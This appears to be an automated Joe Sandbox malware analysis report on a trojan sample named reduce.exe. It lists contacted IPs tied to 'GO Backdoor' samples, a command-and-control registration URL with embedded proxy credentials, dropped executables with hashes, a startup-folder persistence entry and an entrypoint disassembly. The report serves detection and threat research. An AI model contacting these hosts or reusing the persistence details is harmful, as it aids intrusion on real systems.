http://46.8.232.106P.	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	Avira URL Cloud	safe
http://188.130.206.24338.180.205.164:80P&	0%	Avira URL Cloud	safe
http://46.8.236.61P	0%	Avira URL Cloud	safe
http://188.130.206.243/	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://46.8.232.106/	false		high
http://38.180.205.164/	false	Avira URL Cloud: safe	unknown
http://46.8.236.61/	false		high
http://188.130.206.243/	false	Avira URL Cloud: safe	unknown
http://91.212.166.91/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.freepascal.org/	reduce.exe	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	reduce.exe, 00000000.00000002.1716346244.000000000666C000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1989442077.00000000067A7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	reduce.exe, 00000000.00000002.1716346244.000000000666C000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1989442077.00000000067A7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	reduce.exe, 00000000.00000002.1716346244.000000000666C000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1989442077.00000000067A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://38.180.205.164http://46.8.232.106	msiexec.exe, 00000007.00000002.2956126032.000000000ED0C000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.232.106	msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	false		high
https://home.hccnet.nl/s.j.francke/colorcatcher/index.html	reduce.exe	false	Avira URL Cloud: safe	unknown
http://188.130.206.243	msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.lazarus-ide.org/	reduce.exe	false	Avira URL Cloud: safe	unknown
http://38.180.205.164	msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.info-zip.org/	reduce.exe, 00000000.00000002.1718553599.0000000009496000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2006666674.0000000004852000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2953875021.0000000005771000.00000004.00000800.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1991442213.000000000946E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2214539573.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.2216585430.0000000004BBE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	reduce.exe, 00000000.00000002.1716346244.000000000666C000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1989442077.00000000067A7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://188.130.206.24338.180.205.164:80P&	msiexec.exe, 00000007.00000002.2956257148.000000000ED96000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.232.106P.	msiexec.exe, 00000007.00000002.2955110668.000000000EC7C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.236.61	msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	false		high
http://46.8.236.61P	msiexec.exe, 00000007.00000002.2955110668.000000000EC96000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/jbsolucoes/ucp	reduce.exe, 00000000.00000002.1720577037.00000001010CC000.00000008.00000001.01000000.00000003.sdmp, reduce.exe, 00000000.00000002.1716346244.000000000666C000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000000.1958521441.00000001010CC000.00000008.00000001.01000000.0000000B.sdmp, Client32.exe, 00000008.00000002.1989442077.00000000067A7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://91.212.166.91	msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.232.106	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	false
188.130.206.243	unknown	Russian Federation	200509	SVINT-ASNES	false
185.121.233.152	unknown	Spain	198432	IPCORE-ASES	true
91.212.166.91	unknown	United Kingdom	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
38.180.205.164	unknown	United States	174	COGENT-174US	false
46.8.236.61	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568776
Start date and time:	2024-12-04 23:22:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	reduce.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@12/8@0/6
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target msiexec.exe, PID 8024 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: reduce.exe

Simulations

Behavior and APIs

Time	Type	Description
17:23:02	API Interceptor	1x Sleep call for process: reduce.exe modified
17:23:29	API Interceptor	1x Sleep call for process: Client32.exe modified
22:23:18	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Client32.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.232.106	InsertSr.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	iKhdG3bwZK.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106:30001/api/helper-first-register?buildVersion=0Z5V.TE82Oth&md5=044037796cf2d13eadf0217833d52e65&proxyPassword=2kXPzHVW&proxyUsername=6R0WzU7T&userId=IzhXMyKsSA8bmnLPaD5erUdWtcou
	Week11.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	Week11.exe.bin.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	m0Yc9KltGw.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	SecuriteInfo.com.FileRepMalware.7838.24766.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	sV9ElC4fU4.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	antispam_connect1.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
188.130.206.243	InsertSr.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/
	iKhdG3bwZK.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243:30001/api/helper-first-register?buildVersion=0Z5V.TE82Oth&md5=044037796cf2d13eadf0217833d52e65&proxyPassword=2kXPzHVW&proxyUsername=6R0WzU7T&userId=IzhXMyKsSA8bmnLPaD5erUdWtcou
	Week11.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/
	Week11.exe.bin.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/
	m0Yc9KltGw.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/
	SecuriteInfo.com.FileRepMalware.7838.24766.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/
	antispam_connect1.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SVINT-ASNES	InsertSr.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	188.130.200.151
	iKhdG3bwZK.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	Week11.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	Week11.exe.bin.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	m0Yc9KltGw.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	https://t.ly/Oppenheim0511	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	SecuriteInfo.com.FileRepMalware.7838.24766.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	https://t.ly/BavariaFilmGmbH2410	Get hash	malicious	Unknown	Browse	188.130.206.243
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	InsertSr.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	iKhdG3bwZK.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	ppc.elf	Get hash	malicious	Mirai	Browse	46.8.228.104
	file.exe	Get hash	malicious	Cryptbot	Browse	46.8.237.112
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	46.8.237.112
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	46.8.237.112
	Week11.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	Week11.exe.bin.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	m0Yc9KltGw.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	https://t.ly/Oppenheim0511	Get hash	malicious	GO Backdoor	Browse	46.8.232.106
MOBILY-ASEtihadEtisalatCompanyMobilySA	teste.mips.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	86.51.206.7
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	176.224.118.112
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	37.43.193.195
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	37.243.106.195
	botnet.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	176.16.239.106
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	176.16.239.121
	x86_64.elf	Get hash	malicious	Mirai	Browse	37.127.151.127
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	46.240.95.184
	loligang.x86.elf	Get hash	malicious	Mirai	Browse	37.124.22.117
	InsertSr.exe	Get hash	malicious	GO Backdoor	Browse	91.212.166.91
IPCORE-ASES	m0Yc9KltGw.exe	Get hash	malicious	GO Backdoor	Browse	185.121.233.152
	Lisect_AVT_24003_G1B_122.exe	Get hash	malicious	Unknown	Browse	185.18.198.253
	Lisect_AVT_24003_G1B_122.exe	Get hash	malicious	Unknown	Browse	185.18.198.253
	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Get hash	malicious	AgentTesla	Browse	185.18.198.253
	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	185.18.198.253
	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse	185.18.198.253
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse	185.18.198.253
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse	185.18.198.253
	https://facturamecr.com/Citrix-Sharefile-Portal/index.html	Get hash	malicious	HTMLPhisher	Browse	5.2.88.91
	PROFORMA INVOICE.doc	Get hash	malicious	Unknown	Browse	5.2.91.169

Process:	C:\Users\user\Desktop\reduce.exe
File Type:	PNG image data, 2992 x 2913, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	7299666
Entropy (8bit):	7.997731766327472
Encrypted:	true
SSDEEP:	196608:HxEa9y3BUh6ia+s3RtmMjVA+KPDibr5u5FC:HxEp3yQtx3pZA+K+bATC
MD5:	3B8A3AAC7469ECC5FA531D9B86C2DFD9
SHA1:	1FBC633341E3B4F5E269C044B9B99ABE2D2723DB
SHA-256:	64F0992F6070AA9C459E59B6CD1523D2CD98AF29941501FFA262F9DF412371A3
SHA-512:	6B234FC6B2D39B8FE53354D0DB2713AE2E4DE4C4D12FCE81FDFE326A9063B3415EAD9C8831FCFBCC4490E99155FC35DAF48069F3C781E57465D867EE6F257976
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......a......o=.. .IDATx..;..G.%.....>gW...].@yH..$.....).....5..Ur..2..u.52.n.E...........33~.......33.....H.].'?H.p..q............}./ ..`.....6.c...../.~.\|k...K.oq..i...G.&...i..\J......3.....?.....Z...B.....sn.N^..........G.."w.R....x..,.....ws).5......+. B.\.rw..>HY...]..../...J..ntM.$c...%...uU.e..f.../cY.~$ `......x..f..ip.yvh....!.Zk.1...8..)....O.....`.....i].w..3..q...W....I....p..h...Z.....f%.1>.4...lA.........@.%.c.0..~...a..&..1.....c....{....7....\|.8g..d....]...+...n......;...ZJ)\|......,.....ks{..P..p.]....T.K1.R..i...... ..I.AB...,._.....'.0p...._....:....\|....hj...k..G..x)...a...?..0.p;[7.A...q....>...m.b.cj...p7..W.H..%..O..G..W..e7bxH>h..J1..tY.j!.1..........V..W.j....u....g...$..w..J\|.$...v..cx``.\|..GfN..%.>K..\|.mK@K...N....=H.T.1>..K%qM&.\|p.\|....d\|.p.\|)....U.gw...Lk]m;G...^"....._.].8_.....-.T./.J\|....}H...0N..\...........og....t.\=,...........{X...>...EQ....\|F...L8RI...3F...K-$;O.. .ij..... .....

C:\Users\user\AppData\Local\Temp\1844328e

Download File

Process:	C:\Users\user\Desktop\reduce.exe
File Type:	data
Category:	dropped
Size (bytes):	8279157
Entropy (8bit):	7.947192595777569
Encrypted:	false
SSDEEP:	196608:sSSpNEjbjo/qtkPUomsEeUrB7LcBK89onqTOik59DfF:NSQbqtE9K3a4O3
MD5:	B923BC8C4D6C694F3EAC3F305EC48327
SHA1:	21FB514F86507C80370D49861FCAE8A9D8D72E5E
SHA-256:	3BCC2B09B395CD92B98853E6578268EA569B4B2B6FB32EF534C316F1081FA291
SHA-512:	736AEEAA4448576A80892A8812D782B3E94F38D6643FF2972AF04C6278AA5AEC2DD4747CFF256097DFAB87AA913179F0CCA79FD4CCB89BB7548A12B935643A96
Malicious:	false
Preview:	X...Z...[...[...Z.......[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...~.......~..8.4...4......./...5...).:...../...[...[...[...[...[...[...[...[...[...[...[.....2...7.....[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[.....>...:.[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...~........).=.....).,.[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...-...u...i...[...[...[...[...[...[...[...[...[...[...

C:\Users\user\AppData\Local\Temp\27142db2

Download File

Process:	C:\Users\user\AppData\Roaming\jion\Client32.exe
File Type:	PNG image data, 2992 x 2913, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	7299666
Entropy (8bit):	7.997731766327472
Encrypted:	true
SSDEEP:	196608:HxEa9y3BUh6ia+s3RtmMjVA+KPDibr5u5FC:HxEp3yQtx3pZA+K+bATC
MD5:	3B8A3AAC7469ECC5FA531D9B86C2DFD9
SHA1:	1FBC633341E3B4F5E269C044B9B99ABE2D2723DB
SHA-256:	64F0992F6070AA9C459E59B6CD1523D2CD98AF29941501FFA262F9DF412371A3
SHA-512:	6B234FC6B2D39B8FE53354D0DB2713AE2E4DE4C4D12FCE81FDFE326A9063B3415EAD9C8831FCFBCC4490E99155FC35DAF48069F3C781E57465D867EE6F257976
Malicious:	false
Preview:	.PNG........IHDR.......a......o=.. .IDATx..;..G.%.....>gW...].@yH..$.....).....5..Ur..2..u.52.n.E...........33~.......33.....H.].'?H.p..q............}./ ..`.....6.c...../.~.\|k...K.oq..i...G.&...i..\J......3.....?.....Z...B.....sn.N^..........G.."w.R....x..,.....ws).5......+. B.\.rw..>HY...]..../...J..ntM.$c...%...uU.e..f.../cY.~$ `......x..f..ip.yvh....!.Zk.1...8..)....O.....`.....i].w..3..q...W....I....p..h...Z.....f%.1>.4...lA.........@.%.c.0..~...a..&..1.....c....{....7....\|.8g..d....]...+...n......;...ZJ)\|......,.....ks{..P..p.]....T.K1.R..i...... ..I.AB...,._.....'.0p...._....:....\|....hj...k..G..x)...a...?..0.p;[7.A...q....>...m.b.cj...p7..W.H..%..O..G..W..e7bxH>h..J1..tY.j!.1..........V..W.j....u....g...$..w..J\|.$...v..cx``.\|..GfN..%.>K..\|.mK@K...N....=H.T.1>..K%qM&.\|p.\|....d\|.p.\|)....U.gw...Lk]m;G...^"....._.].8_.....-.T./.J\|....}H...0N..\...........og....t.\=,...........{X...>...EQ....\|F...L8RI...3F...K-$;O.. .ij..... .....

C:\Users\user\AppData\Local\Temp\287780e3

Download File

Process:	C:\Users\user\AppData\Roaming\jion\Client32.exe
File Type:	data
Category:	dropped
Size (bytes):	8279157
Entropy (8bit):	7.947195576132262
Encrypted:	false
SSDEEP:	196608:USSpNEjbjo/qtkPUomsEeUrB7LcBK89onqTOik59DfF:lSQbqtE9K3a4O3
MD5:	676FEE4F51C524DD11AD26B09C8381AF
SHA1:	82FC9BC85188C02D81CB6AB1470B52C20447B75E
SHA-256:	B087711B7E19BC2B710E97DF9EC4F113DAC5CFBABD535F7B1D2F11FB3049591A
SHA-512:	BD5DB03565243BD734F2961F36A79021E0B3BB2FF2DA7A10DB99B3088CB17DFE11B3218B37439F2E89DE366E04F9C8C257418B9EFBAEA27D42B8124ED24F6E25
Malicious:	false
Preview:	X...Z...[...[...Z.......[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...~.......~..8.4...4......./...5...).:...../...[...[...[...[...[...[...[...[...[...[...[.....2...7.....[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[.....>...:.[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...~........).=.....).,.[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...[...-...u...i...[...[...[...[...[...[...[...[...[...[...

C:\Users\user\AppData\Local\Temp\ivmfgila

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Oct 4 11:02:29 2023, mtime=Wed Dec 4 21:23:01 2024, atime=Wed Dec 4 21:22:58 2024, length=18233144, window=hide
Category:	dropped
Size (bytes):	862
Entropy (8bit):	5.0509286712090695
Encrypted:	false
SSDEEP:	24:8mOdpk+gOWWoKPhBlDyA7w3RUBOhlpFbBm:8mk0RWvl9k3flpv
MD5:	843FE8A25DEDFE87D3FB6F41F6CFE072
SHA1:	87C7FD8643C90572FCE17CE5F27A1BBBE12F3B61
SHA-256:	8B3EFC3787E1BA99CCF2CCD66D332B59AF6808E73FB1ABDA3735C261F25CA37D
SHA-512:	D2145F7D6F6478A8D6D36F21A863659019102B2935D69C46D1E92ED1160F8B9F01DAB7A75199564E5C628087BF5532844AE2B553DC171B89DCAC9B08BD017D11
Malicious:	false
Preview:	L..................F.... .....X.....Hgq..F......F..87........................:..DG..Yr?.D..U..k0.&...&......vk.v...... ..F...`...F......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y............................%..A.p.p.D.a.t.a...B.V.1......Y...Roaming.@......CW.^.Y...........................Iu..R.o.a.m.i.n.g.....N.1......Y...jion..:......Y.Y...........................f.^.j.i.o.n.....f.2.87...Y. .Client32.exe..J......DWO`.Y...........................F...C.l.i.e.n.t.3.2...e.x.e......._...............-.......^....................C:\Users\user\AppData\Roaming\jion\Client32.exe........\.....\.R.o.a.m.i.n.g.\.j.i.o.n.\.C.l.i.e.n.t.3.2...e.x.e.`.......X.......494126...........hT..CrF.f4... ..T..b...,.......hT..CrF.f4... ..T..b...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Local\Temp\kupcq

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7547904
Entropy (8bit):	6.177118093553273
Encrypted:	false
SSDEEP:	98304:R7TGVb21psfEKGulAEGviPnj7ipFq6LsP5F973Ewh:NTpsfkFq6k5F973n
MD5:	DBEB491070512C238525522FD6DC7714
SHA1:	C62B9436849563A14422C5A2C9DEFA5FFE104B06
SHA-256:	CD8BA142563CC184BD42F47AD3F29AF756C2F5789DC9BF1AF91003C3021F3D79
SHA-512:	906FC643D13AAF21B8D3A929D028D2C89B8B21B5253C6C22DA134B700ED62C5F3DF96A75ED9DB9AF61B95C281C7C954C07FA846346042D9A2A2BD263FCCB703C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...oi.U..s..............0F...................m...@...........................v...........@...................................s.^.............................t.n...................................................@.m..............................text.....F......0F................. ..`.rdata....'..@F...'..4F.............@..@.data...".....m.......m.............@....idata..^.....s......\|p.............@....reloc..n.....t.......p.............@..B.symtab.......v.......s................Bfwjua.... ....v.......s.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nfabo

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7547904
Entropy (8bit):	6.177118093553273
Encrypted:	false
SSDEEP:	98304:R7TGVb21psfEKGulAEGviPnj7ipFq6LsP5F973Ewh:NTpsfkFq6k5F973n
MD5:	DBEB491070512C238525522FD6DC7714
SHA1:	C62B9436849563A14422C5A2C9DEFA5FFE104B06
SHA-256:	CD8BA142563CC184BD42F47AD3F29AF756C2F5789DC9BF1AF91003C3021F3D79
SHA-512:	906FC643D13AAF21B8D3A929D028D2C89B8B21B5253C6C22DA134B700ED62C5F3DF96A75ED9DB9AF61B95C281C7C954C07FA846346042D9A2A2BD263FCCB703C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...oi.U..s..............0F...................m...@...........................v...........@...................................s.^.............................t.n...................................................@.m..............................text.....F......0F................. ..`.rdata....'..@F...'..4F.............@..@.data...".....m.......m.............@....idata..^.....s......\|p.............@....reloc..n.....t.......p.............@..B.symtab.......v.......s................Bfwjua.... ....v.......s.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\config

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	248
Entropy (8bit):	6.119542041160086
Encrypted:	false
SSDEEP:	6:e8bfQDOwfVQq7z1ylE2xkuRq5wmhss71pTdE/P6KmIlW3n:HgfVQq7z0C2xkh6m2s71tKmIlCn
MD5:	3E9248408B029C4D008F1F4012241730
SHA1:	B93CBD96EA92D09C60E154DBFBA61AAA4D5562C8
SHA-256:	D4105E0F7FD6533F3FFAE42949F62B025437BA08F23E8943ED9A696E18F2895E
SHA-512:	A24472A16E2B27A50381A93656A95E64BCF37D17E31E09F53362CA8569845A4C26BB8FDE64B7E532A947D0D7371304D3696FABF0F785D0F0C0481491509BDD51
Malicious:	false
Preview:	.\........$..Y.RS..>AS.+L.7UP6.._$%QM._.[>.9_. .Q..$GU.._.</U7<._=.'@6..Z...X..WB Y...#-.S.&..8V.>$.S3!(A(..L5Y.Z.5.VUZ)M.Z$X.,(V PPS.)1G5'.\VZSS.;.\.3.@(^$R..1_?4.Z7.WO[4.. 3..+>.......).T...L.^.F_..W5%.R<..G>."\_-R.%.[VV.@...RY4?_S5.X.:.M7.VP%.

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.084738149143265
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	reduce.exe
File size:	18'233'144 bytes
MD5:	b0f4c61f99716127097da80d07ed6123
SHA1:	310e490a366e2d55b27417f545e4abd575fad0a3
SHA256:	fdb10dd37d214b1e9e4258e601a6b3d7a3d9615513b3e0afaad8d9cc09481087
SHA512:	4bd2bbe23689d636a4725a015d5f685057bbad1dbddc9cf038c632c182b7e39241648b86ed3f0d17c04cbe1bc3bbe1ccf28f2ab532f96ed089c3545315686d9d
SSDEEP:	196608:Izx+2j3JYwC+dbhxEa9y3BUh6ia+s3RtmMjVA+KPDibr5u5FOW2R:Izx+eYsbhxEp3yQtx3pZA+K+bATOWu
TLSH:	E3078EFBB5228B94C0CEC5B4249797EA9F21BC2C04B6138261DA271F9F76C805D598DF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./......H^.$Zw.X....0.......................................@.............................................

File Icon


Icon Hash:	edeaa6a6e66a4202

Static PE Info

General

Entrypoint:	0x1000030a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x100000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x3010, 0x1
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	61876e4043b7e6c5a61a84484ce47785

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	23/02/2023 19:00:00 23/05/2026 19:59:59
Subject Chain	CN=Alexandre Kozlov, O=Alexandre Kozlov, S=Alberta, C=CA
Version:	3
Thumbprint MD5:	318527605F09093E89D869D57482C65A
Thumbprint SHA-1:	3154B78334E2E397068DDC6DADC813A4D4E89F3E
Thumbprint SHA-256:	EA87869BD3D0A68F60BAE0D2E802220BD11FC1DB457C02996EDD05C7BBE2CE10
Serial:	00DC630D1C4604E36B1C380E74B8EB2358

Entrypoint Preview

Instruction
push ebp
dec eax
mov ebp, esp
dec eax
lea esp, dword ptr [esp-20h]
mov byte ptr [005E3E90h], 00000000h
dec esp
lea eax, dword ptr [009C5F49h]
dec eax
lea edx, dword ptr [009C5F4Ah]
dec eax
lea ecx, dword ptr [005E2FABh]
call 00007F0B54BB63CBh
call 00007F0B54BB63D6h
dec eax
lea ecx, dword ptr [005E2F3Ah]
call 00007F0B54BCC47Ah
nop
dec eax
lea esp, dword ptr [ebp+00h]
pop ebp
ret
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push ebp
dec eax
mov ebp, esp
dec eax
lea esp, dword ptr [esp-20h]
call 00007F0B54BC5CB7h
mov byte ptr [005E4AFBh], 00000001h
dec eax
mov eax, dword ptr [005E4AC4h]
mov byte ptr [eax+00000258h], 00000001h
dec eax
